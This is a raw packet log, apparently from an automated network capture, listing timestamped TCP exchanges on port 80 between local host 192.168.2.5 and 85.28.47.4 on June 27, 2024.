Jun 27, 2024 19:26:01.072005033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072030067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072040081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072052956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072073936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072082043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072107077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072114944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072143078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072151899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072177887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072184086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072227001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072413921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072448015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072467089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072511911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072520971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072566032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072583914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072618008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072628021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072649002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072676897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072695017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072702885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072736025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072748899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072771072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072786093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072804928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072809935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072839975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072859049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072873116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072902918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072916985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072917938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072936058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072947025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.072971106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.072989941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073005915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.073025942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073039055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.073051929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073074102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.073087931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073107958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.073122025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073143005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.073157072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073180914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.073205948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073229074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073622942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.073658943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.073678970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073692083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.073699951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073726892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.073733091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073760033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.073765993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073793888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.073798895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073827982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.073841095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073868036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.073883057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073903084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.073920965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073935986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.073942900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073966026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.073983908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.073997974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074007034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074033022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074048996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074067116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074078083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074100971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074114084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074134111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074148893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074172020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074186087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074218988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074493885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074527979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074548006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074561119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074582100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074594975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074603081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074628115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074642897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074664116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074678898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074697971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074708939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074732065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074740887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074763060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074774981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074796915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074815035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074831963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074851036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074865103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074872017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074898005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074906111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074934006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.074943066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.074978113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.075251102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.075284004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.075304031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.075316906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.075330019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.075351000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.075366020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.075387001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.075412989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.075421095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.075436115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.075454950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.075463057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.075488091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.075500011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.075522900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.075534105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.075556993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.075572968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.075592995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.075602055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.075627089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.075642109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.075663090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.075678110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.075697899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.075711012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.075745106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076159954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.076194048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.076209068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076227903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.076247931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076261044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.076267958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076297998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.076313972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076334000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.076344013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076366901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.076379061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076400995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.076419115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076436043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.076438904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076469898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.076498032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076524973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076525927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.076562881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.076574087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076596022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.076607943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076637030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.076643944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076668978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.076679945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076704025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.076719999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076738119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.076749086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076786995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.076980114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.077013016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.077030897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.077047110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.077066898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.077084064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.077090025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.077136040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.077140093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.077188015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.159102917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.159190893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.159198999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.159249067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.159257889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.159293890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.159311056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.159329891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.159341097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.159367085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.159384012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.159403086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.159436941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.159439087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.159461975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.159485102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.159554005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.159585953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.159615040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.159621000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.159636974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.159661055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.159673929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.159710884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.159733057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.159754992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.159744978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.159796953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.159812927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.159848928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.159946918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.159981012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160012007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160015106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160037041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160049915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160058022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160084963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160109043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160119057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160134077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160155058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160162926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160202026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160281897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160315990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160335064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160351038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160358906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160384893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160399914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160434008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160450935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160502911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160528898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160537004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160550117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160573959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160593033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160604000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160614967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160638094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160655022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160672903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160684109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160708904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160718918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160742998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160751104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160778999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160779953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160821915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.160831928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.160872936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.161180019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.161214113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.161233902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.161247015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.161257029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.161282063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.161293983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.161317110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.161331892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.161353111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.161360025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.161389112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.161401987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.161442041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.161695957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.161730051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.161756039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.161765099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.161777973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.161798954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.161811113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.161834955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.161847115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.161870003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.161880016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.161905050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.161914110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.161935091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.161951065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.161968946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.161981106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162003994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162017107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162039042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162051916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162074089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162089109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162110090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162123919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162146091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162159920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162180901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162194967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162220001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162233114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162262917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162606955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162641048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162666082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162674904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162684917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162710905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162730932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162749052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162755966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162784100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162795067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162820101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162832975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162853956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162868977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162888050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162893057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162923098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162945986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162957907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.162966013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.162992001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.163002014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.163026094 CEST	80	49705	85.28.47.4	192.168.2.5
